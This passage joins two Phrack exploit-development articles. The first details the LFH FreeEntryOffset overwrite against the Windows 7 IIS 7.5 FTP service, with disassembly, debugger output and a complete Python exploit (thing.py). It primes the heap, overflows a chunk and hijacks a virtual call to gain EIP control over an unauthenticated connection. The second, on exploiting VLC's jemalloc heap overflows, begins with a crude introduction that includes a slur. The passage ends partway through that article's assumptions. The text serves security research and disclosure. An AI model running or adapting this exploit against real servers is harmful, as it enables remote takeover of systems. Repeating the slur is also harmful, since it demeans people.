It was decided that the FreeEntryOffset Overwrite Technique [2] would be used due to the limited ability of the attacker to control the contents of the overflow. The attack requires the exploiter to enable the low fragmentation heap, position a chunk under the exploiter's control before a free chunk (implied same size) within the same UserBlock, write at least 10 bytes past the end of its buffer, and finally make two subsequent requests that are serviced from the same UserBlock. [Yes, it's just that easy ;)]

The following diagram shows how the FreeEntryOffset is utilized when making allocations. The first allocation comes from a virgin UserBlock, setting the FreeEntryOffset to the first two‑byte value stored in the current free chunk. Notice there is no validation when updating the FreeEntryOffset. For MUCH more information on the LFH and exploitation techniques please see the references section:

Allocation 1

FreeEntryOffset = 0x10

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header|0x10| Free |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header|0x20| Free |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header|0x30| Free |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Allocation 2

FreeEntryOffset = 0x20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header| Used |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header|0x20| Free |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header|0x30| Free |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Allocation 3

FreeEntryOffset = 0x30

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header| Used |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header| Used |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header|0x30| Free |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now look at the allocation sequence if we have the ability to overwrite a FreeEntryOffset with 0xFFFF:

Allocation 1

FreeEntryOffset = 0x10

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header|0x10| Free |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header|0x20| Free |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header|0x30| Free |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Allocation 2

FreeEntryOffset = 0x20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header|FFFFFFFFFFFFFFF |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header|FFFF| Free |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header|0x30| Free |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Allocation 3

FreeEntryOffset = 0xFFFF

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header| Used |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header| Used |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Header|0x30| Free |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As you can see, if we can overwrite the FreeEntryOffset with a value of 0xFFFF then our next allocation will come from unknown heap memory at &UserBlock + 8 + (8 * (FreeEntryOffset & 0x7FFF8)) [2]. This may or may not point to committed memory for the process, but still provides a good starting point for turning a semi‑controlled overwrite to a fully‑controlled overwrite.

‑‑[ 5 ‑ Enabling the LFH

If you have read 'Understanding the Low Fragmentation Heap' [2] you'll know that it has 'lazy' activation, which means, although it is the default front‑end allocator, it isn't enabled until a certain threshold is exceeded. The most common trigger for enabling the LFH is 16 consecutive allocations of the same size.

for i in range(0, 17):

name = "lfh" + str(i)

payload = gen_payload(0x40, "X") lfhpool.alloc(name, payload)

You would assume that after making the aforementioned requests LFH‑>HeapBucket[0x40] would be enabled and all further requests for size 0x40 would be serviced via the LFH; unfortunately this was not the case.

This lead to some memory profiling using Immunity Debugger's '!hippie' command. After creating and sending many commands and logging heap allocations, a pattern of 0x100 byte allocations emerged. This was quite peculiar because requests of 0x40 bytes were being sent. Tracing the allocations for 0x100 found that the main consumer of the 0x100 byte allocations was FTP_SESSION::WriteResponseHelper; our binary audit can finally start!

Note: If some thought would have been put in before brute forcing sizes it would have been noted that this is a C++ application which means that request data was most likely kept in some buffer or string class; instead of being allocated to a specific request size.

Low and behold, looking at the WriteResponseHelper function validated our speculation. The function used a buffer class that would allocate 0x100 bytes and extend itself when necessary:

.text:0E074E7A mov eax, [ebp+arg_C] ; dword ptr [eax] == request string .text:0E074E7D push edi

.text:0E074E7E mov edi, [ebp+arg_8]

.text:0E074E81 mov [ebp+vFtpRequest], eax

.text:0E074E87 mov esi, 100h

.text:0E074E8C push esi ; init_size == 0x100 .text:0E074E8D lea eax, [ebp+var_204]

.text:0E074E93 mov [ebp+var_27C], ecx

.text:0E074E99 push eax

.text:0E074E9A lea ecx, [ebp+var_234]

.text:0E074EA0 call ds:STRA::STRA(char *,ulong)

Next, there is a loop to determine if the normalized request string can fit in the STRA object:

.text:0E074F59 call ds:STRA::QuerySize(void)

.text:0E074F5F add eax, eax

.text:0E074F61 push eax

.text:0E074F62 lea ecx, [ebp+vSTRA1]

.text:0E074F68 call ds:STRA::Resize(ulong)

Finally, the STRA object will append the user request data to the server response code (for example: "500 "):

.text:0E0750B4 push [ebp+vFtpRequest]

.text:0E0750BA call ds:STRA::Append(char const *) ; this is where the

resize happens

.text:0E0750C0 mov esi, eax

.text:0E0750C2 cmp esi, ebx

.text:0E0750C4 jl loc_E07515F ; if(!STRA::Apend(vFtpRequest))

;destory_objects(); }

.text:0E0750CA push offset SubStr ; "\r\n"

.text:0E0750CF lea ecx, [ebp+var_234]

.text:0E0750D5 call ds:STRA::Append(char const *)

Looking into the STRA:Append(char const*) function, a constant value is added when there is not enough space to append to the current STRA object:

.text:6C9DAAE7 cmp ebx, edx

.text:6C9DAAE9 ja short loc_6C9DAB3D ; if enough room, copy

and update size

.text:6C9DAAEB jb short loc_6C9DAAF2 ; otherwise add 0x80

and resize the BUFFER

.text:6C9DAAED cmp [edi+24h], esi

.text:6C9DAAF0 jnb short loc_6C9DAB3D

.text:6C9DAAF2

.text:6C9DAAF2 loc_6C9DAAF2:

.text:6C9DAAF2 xor esi, esi

.text:6C9DAAF4 cmp [ebp+arg_C], esi

.text:6C9DAAF7 jz short loc_6C9DAB00

.text:6C9DAAF9 add eax, 80h ; eax = buffer.size

Finally the buffer is resized if necessary and the old data is copied over:

.text:6C9DAB1B push eax ; uBytes

.text:6C9DAB1C mov ecx, edi

.text:6C9DAB1E call ?Resize@BUFFER@@QAEHI@Z ; BUFFER::Resize(uint) .text:6C9DAB23 test eax, eax

.text:6C9DAB25 jnz short loc_6C9DAB3D

.text:6C9DAB27 call ds:__imp_GetLastError

.text:6C9DAB2D cmp eax, esi

.text:6C9DAB2F jle short loc_6C9DAB64

.text:6C9DAB31 and eax, 0FFFFh

.text:6C9DAB36 or eax, 80070000h

.text:6C9DAB3B jmp short loc_6C9DAB64

.text:6C9DAB3D

.text:6C9DAB3D loc_6C9DAB3D:

.text:6C9DAB3D

.text:6C9DAB3D mov ebx, [ebp+Size]

.text:6C9DAB40 mov eax, [edi+20h]

.text:6C9DAB43 mov esi, [ebp+arg_8]

.text:6C9DAB46 push ebx ; Size

.text:6C9DAB47 push [ebp+Src] ; Src

.text:6C9DAB4A add eax, esi

.text:6C9DAB4C push eax ; Dst

.text:6C9DAB4D call memcpy

Now that it is known buffers will be sized in multiples of 0x80 (i.e. 0x100, 0x180, 0x200, etc), the LFH can be activated accordingly (by size). The size of 0x180 was chosen because 0x100 is used for most, if not all, initial responses, but _any_ valid size could be used.

for i in range(0, LFHENABLESIZE):

name = "lfh" + str(i)

payload = gen_payload(0x180, "X") lfhpool.alloc(name, payload)

‑‑[ 6 ‑ FreeEntryOffset Overwrite

It has already been verified that the vulnerability results in an overflow of 0xFF characters into an adjacent heap chunk. Therefore the ability to enable the LFH for a certain size results in the trivial overwriting of an adjacent FreeEntryOffset.

For this exploitation technique to work, the LFH must be enabled while ensuring that the UserBlock maintains a few free chunks to service requests necessary for exploitation.

Fortunately, this was quite easy to guarantee while on a single core machine:

for i in range(0, LFHENABLESIZE):

name = "lfh" + str(i)

payload = gen_payload(0x180, "X") lfhpool.alloc(name, payload)

print "[*] Sending overflow payload"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT))

data = s.recv(1024)

buf = "\xff\xbb\xff\xff" * 112 + "\r\n" #ends up allocation 0x180

0x188 after chunk header)

print "[*] Sending %d 0xFFs in the whole payload" % countff(buf) print "[*] Sending Payload...(%d bytes)" % len(buf) analyze(buf)

s.send(buf)

s.close()

These small portions of code are enough to enable the LFH and overwrite a free adjacent chunk after the overflow‑able piece of memory. Now when subsequent allocations are made for 0x180 bytes, a bad free entry offset will be used, providing the application with unexpected memory for appending the response.

The above describes the following:

FreeEntryOffset = 0x1

0 1 2 3 [UsedChunk][FreeChunk][OverflowedChunk][FreeChunk]

.

.

.

[UnknownMemory @ UserBlock + (0xFFFF * 8)]

Three subsequent allocations will accomplish the following:

1) Allocate FreeChunk at FreeEntryOffset 0x1

2) Allocate OverflowedChunk (which is also free) updating the FreeEntryOffset to 0xFFFF

3) Allocate memory at UserBlock + 0xFFFF (instead of offset 0x3)

This means the bad FreeEntryOffset will result in data being completely controlled by the attacker.

Note: Although quite easily achieved on a single‑core machine, heap determinism can be much harder on a multi‑core platform. Determinism can be much more difficult because each core will effectively have its own UserBlocks, making chunk placement dependent on which thread services a request. While a multi‑core machine doesn't make this vulnerability completely un‑exploitable it does increase the difficulty and decrease the reliability.

Overwriting the FreeEntryOffset with 0xFFFF has turned a limited heap overflow into a write‑n, fully controlled overflow; since the heap chunk allocated will be 100% populated with user‑controlled data. There is only one HUGE problem. What should be overwritten? This ended up being the most challenging and least reliable portion of the exploit and could still be further refined.

‑‑[ 7 ‑ The Impossible

In all honesty, the previous few steps were basic vulnerability analysis, rudimentary Python and requisite knowledge of Windows 7 heap internals. The most difficult and time consuming‑portion is explained below.

The techniques described below had varying degrees of reliability and might not even be the best choice for exploitation. The most valuable knowledge to take away will be the process of finding an object to overwrite and seeding those objects remotely within the heap.

As stated previously, figuring out WHAT to overwrite is quite a problem. Not only does a sufficient object, function, or variable, need to be unearthed but that item needs to reside in memory where the 'bad' allocation points to.

A starting point for locating what to overwrite began with the functions' list. The function list was chosen because public symbols were available, providing descriptive names for the most important functions. Also, since the application was written in C++ it was assumed that there would be virtual functions that stored function pointers somewhere in memory.

The first noticeable item that looked redeeming was FTP_COMMAND class. The class will most certainly be instantiated when receiving new commands and also contains a vtable.

.text:0E073B7D public: __thiscall FTP_COMMAND::FTP_COMMAND(void) proc near .text:0E073B7D mov edi, edi

.text:0E073B7F push ebx

.text:0E073B80 push esi

.text:0E073B81 mov esi, ecx

.text:0E073B83 push edi

.text:0E073B84 lea ecx, [esi+0Ch]

.text:0E073B87 mov dword ptr [esi], offset const FTP_COMMAND::`vftable'

It also contained a function pointer that had the same name as one in our stack trace, albeit in a different class.

.text:0E073C8D mov dword ptr [ebx+8],

offset FTP_COMMAND::AsyncCompletionRoutine(FTP_ASYNC_CONTEXT *)

Note: If the stack trace would have been examined more thoroughly, it would have been obvious that this wasn't the correct choice, as you will see below.

At first glance this seemed to be the perfect fit. A breakpoint was set in ntdll!RtlpLowFragHeapAllocFromContext() after the initial overflow had occurred and appeared to be populated with FTP_COMMAND objects! Unfortunately, there didn't seem to be a remote command that could trigger a virtual function call within the FTP_COMMAND object at the time of an attacker's choosing.

Note: Although summed up in one paragraph, this actually took quite some time to figure out, as the ability to overwrite a function pointer severely clouded judgment.

Failure led to flailing around in an attempt to populate heap memory with objects that were remotely user‑controlled without authentication. Eventually, the thought of each FTP_COMMAND having a specific session came to mind. The FTP_SESSION class was more closely examined (which was also in the stack trace; although this stack trace would eventually change with different heap layouts).

The real question was 'Can this function be reliably triggered at given time X with user input Y?' Some testing took place and indeed, this server was truly asynchronous ;). FTP, being a lined based protocol, requires an end of line / end of command delimiter. The server will actually wait to process the command until it has received the entire line [6].

Perhaps a FTP_SESSION object that is associated with a FTP_COMMAND could be overwritten, leading to control of a virtual function call. Step tracing was used throughout FTP_COMMAND::WriteResponseWithErrorTextAndLog and ended up at the FTP_SESSION::Log() function. This function contained multiple virtual function calls such as:

.text:0E0761C4 mov ecx, [edi+3D8h]

.text:0E0761CA lea eax, [ebp+var_1B4]

.text:0E0761D0 push eax ; int .text:0E0761D1 push [ebp+dwFlags] ; CodePage .text:0E0761D7 mov eax, [ecx]

.text:0E0761D9 call dword ptr [eax+18h]

Now that there is a potential known function pointer in memory to be overwritten, how can it be called? Surprisingly it was quite simple. By leaving the trailing '\n' off the end of a command, setting up the heap, and then sending the end of line delimiter, a call to "call dword ptr [eax+18h]" with full control of EAX could be triggered.

0:006> r

eax=43434343 ebx=013f2a60 ecx=0145dc98 edx=0104f900 esi=013dfb98 edi=013f2a60

eip=70b661d9 esp=0104f690 ebp=0104f984 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 ftpsvc!FTP_SESSION::Log+0x16b:

70b661d9 ff5018 call dword ptr [eax+18h] ds:0023:4343435b=????????

0:006> k

ChildEBP RetAddr

0104f984 70b6a997 ftpsvc!FTP_SESSION::Log+0x16b

0104fa30 70b6ee86 ftpsvc!FTP_COMMAND::WriteResponseWithErrorTextAndLog+0x188 0104fa48 70b66051 ftpsvc!FTP_COMMAND::Process+0xd1

0104fa88 70b676c7 ftpsvc!FTP_SESSION::OnReadCommandCompletion+0x3e2 0104faf0 70b6772a ftpsvc!FTP_CONTROL_CHANNEL::OnReadCommandCompletion+0x1e4 0104fafc 70b3f182 ftpsvc!FTP_CONTROL_CHANNEL::AsyncCompletionRoutine+0x17 0104fb08 70b556e6 ftpsvc!FTP_ASYNC_CONTEXT::OverlappedCompletionRoutine+0x3c

Tracing the function during non‑exploitation attempts revealed that the function was attempting to get the username (if one existed) for logging purposes.

1b561d9 ff5018 call dword ptr [eax+18h] ds:0023:71b23a38={ftpsvc!USER_SESSION::QueryUserName (71b37823)}

Note: Again, this wasn't directly obvious by looking at the function. There was quite a bit of static and dynamic analysis to determine the function's usefulness.

Although the ability to spray the heap with FTP_COMMAND and FTP_SESSION objects is possible, it is not as reliable as originally expected. Many factors such as number of connections, the low fragmentation heap setup (i.e. number of cores on the server) and many others come into play when attempting to exploit this vulnerability.

For example, the amount of LFH chunks and the number of connections to the server ended up having quite an effect on the reliability of the exploit, which hovered around 60%. These both contributed to which address the misaligned allocation pointed and the contents of the memory.

‑‑[ 8 ‑ Conclusion

Although Microsoft and many others claimed that this vulnerability would be impossible to exploit for code execution, this paper shows that with the correct knowledge and enough determination, impossible turns to difficult.

To recap the exploitation process:

1) Figure out the vulnerability

2) Familiarize oneself with how heap memory is managed

3) Obtain in‑depth knowledge of the operating system's memory managers

4) Prime the LFH to a semi‑deterministic state

5) Send a request to overflow an adjacent chunk on the LFH

6) Create numerous connections in an attempt to populate the heap with FTP_SESSION objects; which will create USER_SESSION objects as well

7) Send an unfinished request on the previously created connections

8) Make 3 allocations from the LFH for same size as your overflowable chunk

a. 1st == Allocate and overflow into next chunk

b. 2nd == FreeEntryOffset will be set to 0xFFFF

c. 3rd == Allocation will (hopefully) point to memory which points to a FTP_SESSION object containing a USER_SESSION class; completely overwriting the function pointer in memory

9) Finish the command from the connection pool by sending a trailing '\n', which in turn calls the OverlappedCompletionRoutine(), therefore calling the FTP_SESSION::Log() function in the process

10) This will obtain EIP with multiple registers pointing to user‑controlled data. From there ASLR and DEP will need to be subverted to gain code execution. Take a look at DATA_STREAM_BUFFER.Size, which will determine how many bytes are sent back to a user in a response

Although full arbitrary code execution wasn't achieved in the exploit, it still proves that a remote attacker can potentially gain control over EIP via a remote unauthenticated FTP connection that can be used to subvert the security posture of the entire system, instead of limiting the scope to a denial of service.

The era of simple exploitation is behind us and more exploitation primitives must be used when developing modern exploits. By having a strong foundation of operating system knowledge and exploitation techniques, you, too, can turn impossible bugs into exploitable ones.

‑‑[ 9 ‑ References

[1] ‑ Preventing the exploitation of user mode heap corruption vulnerabilities (http://blogs.technet.com/b/srd/archive/2009/08/04/preventing‑the‑

exploitation‑of‑user‑mode‑heap‑corruption‑vulnerabilities.aspx)

[2] ‑ Understanding the Low Fragmentation Heap (http://illmatics.com/Understanding_the_LFH.pdf)

[3] ‑ Windows 7 IIS 7.5 FTPSVC Denial Of Service (http://packetstormsecurity.org/files/96943/

Windows‑7‑IIS‑7.5‑FTPSVC‑Denial‑Of‑Service.html)

[4] ‑ Assessing an IIS FTP 7.5 Unauthenticated Denial of Service Vulnerability (http://blogs.technet.com/b/srd/archive/2010/12/22/assessing‑an‑iis‑

ftp‑7‑5‑unauthenticated‑denial‑of‑service‑vulnerability.aspx)

[5] ‑ The Telnet Protocol (http://support.microsoft.com/kb/231866)

[6] ‑ Synchronization and Overlapped Input and Output (http://msdn.microsoft.com/en‑us/library/windows/desktop/

ms686358(v=vs.85).aspx)

‑‑[ 10 ‑ Exploit (thing.py)

import socket, sys, os, time

#Connection Info

HOST = "192.168.11.129"

PORT = 21

WAITP = 1

#Good Combo (60% reliability)

#LFHENABLESIZE = 0x78

#CONNCOUNT = 0x103

#=> FTP_SESSION::Log+0x16B

#call dword ptr [eax+18h] ds:0023:2424243c=????????

#The number of allocations to enabled the LFH for our chosen size LFHENABLESIZE = 0x78

LFHPOOLSIZE = LFHENABLESIZE + 0x3

#Each connection will create X amount of FTP_SESSION objects, which #contain the virtual function we're trying to overwrite. CONNCOUNT = 0x103

class SoftAlloc:

s = 0

#Notice that the connection doesn't do a 'self.s.recv()' #This is a way to restrict un‑needed calls to the completionroute def setup(self):

self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.s.connect((HOST, PORT))

def alloc(self, data):

self.s.send(data)

def complete(self):

self.buf = self.s.recv(1024)

def free(self):

self.s.close()

#Pools are just a way to keep track of connections

#It could have just as easily been an array of sockets

class SoftLeak:

def __init__(self):

self.stag = {}

self.untagged = []

def create_pool(self, num):

for i in range(0, num):

sa = SoftAlloc()

sa.setup()

self.untagged.append(sa)

def clear_pool(self):

while(len(self.untagged) > 0):

sa = self.untagged.pop()

sa.free()

def alloc(self, tag, payload):

if tag in self.stag:

print "Error: Tag in use %s\n" % tag sys.exit()

if len(self.untagged) > 0:

sa = self.untagged.pop() self.stag[tag] = sa

sa.alloc(payload)

def realloc(self, tag, payload):

if tag in self.stag:

sa = self.stag[tag]

sa.alloc(payload)

def complete(self, tag):

if tag in self.stag:

sa = self.stag[tag]

sa.complete()

def free(self, tag):

if tag not in self.stag:

print "Error: Unknown tag %s\n" % tag sys.exit()

sa = self.stag[tag]

del self.stag[tag]

sa.free()

def countff(payload):

count = 0

for x in payload:

if x == "\xff" or x == "\xFF":

count += 1

return count

def analyze(payload):

if len(payload) < 0x100:

return

first = payload[0:0x100]

first_ffs = countff(first)

print "[*] Sending %d 0xFFs in the 1st chunk" % first_ffs

second = payload[0x100:]

second_ffs = countff(second)

print "[*] Sending %d 0xFFs in the 2nd chunk" % second_ffs

#allocations have 0x80 added to them, making sizes < 0x81 hard to allocate def gen_payload(size, ch):

if size < 0x80:

print "Invalid allocation size"

sys.exit(1)

if size > 0x180 and size < 0x200:

print "WARNING: Only allocating 0x180 bytes"

new_size = size ‑ 0x80

#print "Payload will be %d bytes" % (new_size)

return (ch * new_size)

def main():

#create the initial amount of connections

print "[*] Creating LFHPOOL"

lfhpool = SoftLeak()

lfhpool.create_pool(LFHPOOLSIZE)

time.sleep(WAITP)

####################################

#Go through LFHENABLESIZE connections, and make an allocation of a #certain size. This will enable the LFH for size provided in #'gen_payload()'

####################################

for i in range(0, LFHENABLESIZE):

name = "lfh" + str(i)

payload = gen_payload(0x180, "X") lfhpool.alloc(name, payload)

####################################

#Send out exploit payload, this should be of the same subsegment as the #chunks we put in the LFH. It will write 0xFFs over the FreeEntryOffset #stored in the 1st two bytes of a free chunk in the LFH #Note: Although it actually sends a payload of 0x1C0, it will only #allocate 0x180 bytes of data to be used for this transaction #Note2: This LFH chunk will be freed, hence in the section below #requiring 3 allocations instead of the two necessary for the #FreeEntryOffset overwrite

####################################

print "[*] Sending overflow payload"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST,PORT))

data = s.recv(1024)

buf = "\xff\xbb\xff\xff" * 112 + \

"\r\n" #ends up allocation 0x180 (0x188 after chunk header) print "[*] Sending %d 0xFFs in the whole payload" % countff(buf) print "[*] Sending Payload...(%d bytes)" % len(buf) analyze(buf)

s.send(buf)

s.close()

#create the initial amount of connections

print "[*] Creating CONNPOOL"

connpool = SoftLeak()

connpool.create_pool(CONNCOUNT)

time.sleep(WAITP)

####################################

#The LFH UserBlock should look like this #[previously_allocated_chunk][overwritten_chunk][malicious_chunk] #1) We have to make an allocation for the chunk that was used in the #overflow (since it was freed)

#2) 'overwritten_chunk' should be all 0xFFs (including its #_HEAP_ENTRY header)

#3) the 'malicious_chunk' will use a FreeEntryOffset of 0xFFFF (saved #from previous allocation)

#

#Now we can allocate a bunch of FTP_CONTROL_CHANNEL objects (see #ftpsvc.dll) These will be in the heap, so when we add "UserBlocks + #(0x7FFF8 * 8)" it will point to heap memory that contains a #FTP_CONTROL_CHANNEL object, which has a vtable as its first 4 bytes #

#If the trailing '\n' is missing from the ftp command the function #FTP_ASYNC_CONTEXT::OverlappedCompletionRoutine() will not be called #until it sees the final '\n', which gives us control over WHEN the #call will be made

####################################

print "[*] Sending 0x%X USER commands" % CONNCOUNT

for i in range(0, CONNCOUNT):

name = "ftpcmd" + str(i)

connpool.alloc(name, "USER ")

####################################

#1st: allocates a chunk saving its NextOffset

# ‑ NextOffset = The one after our 'malicious_chunk' #2nd: allocates another, saving the tainted offset (0xFFFF) # ‑ NextOffset = 0xFFFF

#3rd: will actually use the incorrect offset

# ‑ Return value will be addr_of(UserBlock) + (0x7FFF8 * 8) # ‑ This is due to how the FreeEntryOffset is calculated #

#The '$' * 0x170 will allocate 0x180 bytes, but will also be the data #used to overwrite the USER_SESSION objected called during logging #The '$' characters would be replaced with values to start a ROP sled

####################################

curr_char = 0x40

for i in range(0, 3):

curr_char += 1

name = "trigger" + str(i)

payload = "$$$$ " + (chr(curr_char) * 0x170) #allocates 0x180 bytes print "[*] Sending payload%d of %d bytes" % (i, len(payload)) lfhpool.alloc(name, payload)

####################################

#By sending the trailing '\n' command, this will force the #FTP_CONTROL_CHANNEL to call its AsyncCompletionRoutine(), notifying #the server that the connection has been completed. Fortunately for us #this function pointer will have been overwritten by the 3rd iteration #in the code above "payload = "PASS " + (chr(curr_char) * 0x170)".

####################################

print "[*] Sending completing commands"

start = 0

end = CONNCOUNT

print "Total completions: %d" % (end ‑ start)

for i in range(start, end):

name = "ftpcmd" + str(i)

print name

connpool.realloc(name, "\n")

####################################

#By waiting to exit, we will ensure that the AsyncCompletionRoutine is #NOT called due to the socket closing. It shouldn't matter, since #we've already triggered it above, but just to be safe

####################################

print "[*] Exploit complete!"

print "Press enter to exit"

val = sys.stdin.readline()

if __name__ == "__main__":

main()

The Art of Exploitation

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x0d of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Art of Exploitation ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Exploiting VLC ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|=‑‑‑‑‑‑‑‑‑‑‑‑=[ A case study on jemalloc heap overflows ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ huku | argp ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ {huku,argp}@grhack.net ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of contents

1 ‑ Introduction

1.1 ‑ Assumptions

2 ‑ Notes on jemalloc magazines

2.1 ‑ Your heap reversed

2.2 ‑ Your reversed heap reversed again

2.3 ‑ Sum up of jemalloc magazine facts

3 ‑ 'MP4_ReadBox_skcr()' heap overflow vulnerability

3.1 ‑ MP4 file format structure

3.2 ‑ Vulnerability details

3.3 ‑ Old is gold; 'unlink()' style ftw

3.4 ‑ Controlling 'p_root' data

3.5 ‑ MP4 exploitation sum up

4 ‑ Real Media 'DemuxAudioSipr()' heap overflow vulnerability 4.1 ‑ VLC as a transcoder

4.2 ‑ RMF? What's that?

4.3 ‑ Vulnerability details

4.4 ‑ 'p_blocks' all over the place

4.5 ‑ RMF summary

5 ‑ Building a reliable exploit

5.1 ‑ Overall process

5.2 ‑ Detecting 'p_root' address candidates

6 ‑ Demonstration

7 ‑ Limitations

8 ‑ Final words

9 ‑ References

10 ‑ T3h l337 c0d3z

‑‑[ 1 ‑ Introduction

The idiom 'exploitation is an art' has been written in Phrack so many times that it has probably ended up sounding cliche. With the emergence of ASLR, NX, stack cookies, 'unlink()' protections and so on, exploit writers seem to have realized the value of their code and have stopped sharing their work with ugly faggots (you know who you are). Just have a look at the various mailing lists and exploit archives; even the tons of Linux kernel exploits found there are almost trash. Obviously it's not the exploit writers that have lost their abilities; it's probably because they don't care to share fully weaponized code (that's only a privilege of people who pay for [censored] or [censored] lulz). The fact that working exploits have stopped being released doesn't necessarily mean that the underground has stopped their development. Although there's no way for us to know, we believe we would all be amazed if we were to have even a glimpse of what the underground has to offer (watch and learn: [1], [2]).

In order to develop the exploit presented in this article, we spent about a month of continuous late nights in front of ugly terminals, eating junk and taking breaks only to piss and shit (funny times). We managed to develop a reliable local exploit for VLC. By 'almost' we mean that it is possible to make our code 100% reliable but some work is still required; we wish we had more time but Phrack had to be released. More details on how to extend our code and bypass the limitations that confine its reliability are given at a later section. It would probably be a fun pastime for someone to continue from where we left off; it's not that hard after all the bullshit we had to face. We hope to show you why developing an exploit nowadays requires hard work, dedication and at least one memleak ;)

This phile was at first meant to be part of our jemalloc research also presented in this Phrack issue. Nevertheless, the Phrack staff honored us by asking if we were willing to write a separate text with an in‑depth analysis of all that voodoo we had to perform. Readers might agree that VLC is not the most exotic target one can come up with, but we decided not to disclose any 0day vulnerabilities and keep it going with a list of already published material, found by carefully looking for advisories tagged as 'heap based overflows' (we could have googled for 'potential DoS' as well, since it usually means ring0 access ;). Keep in mind that we wouldn't like to present a vulnerability that would be trivial to exploit. We were looking for a target application with a large codebase; VLC and Firefox were our primary candidates. We finally decided to deal with the first. The result was a local exploit that does not require the user to give any addresses; it can figure out everything by itself.

‑‑‑‑[ 1.1 ‑ Assumptions

For the shake of writing this article...

1 ‑ We assume that the attacker has local access on a server running VLC. The VLC instance must have at least one of its several control interfaces enabled (HTTP via ‑‑extraintf, RC via ‑‑rc‑host or ‑‑rc‑unix), that will be used to issue media playback requests to the target and make the whole process interactive, that is VLC should be running in 'daemon' mode. Most people will probably think that those control interfaces can also be used to perform a remote attack; they are right. Although, the MP4 vulnerability exploited in this article cannot be used for remote exploitation, developing a reliable remote exploit is, indeed, feasible and in fact, it's just a matter of modifying the attached code.

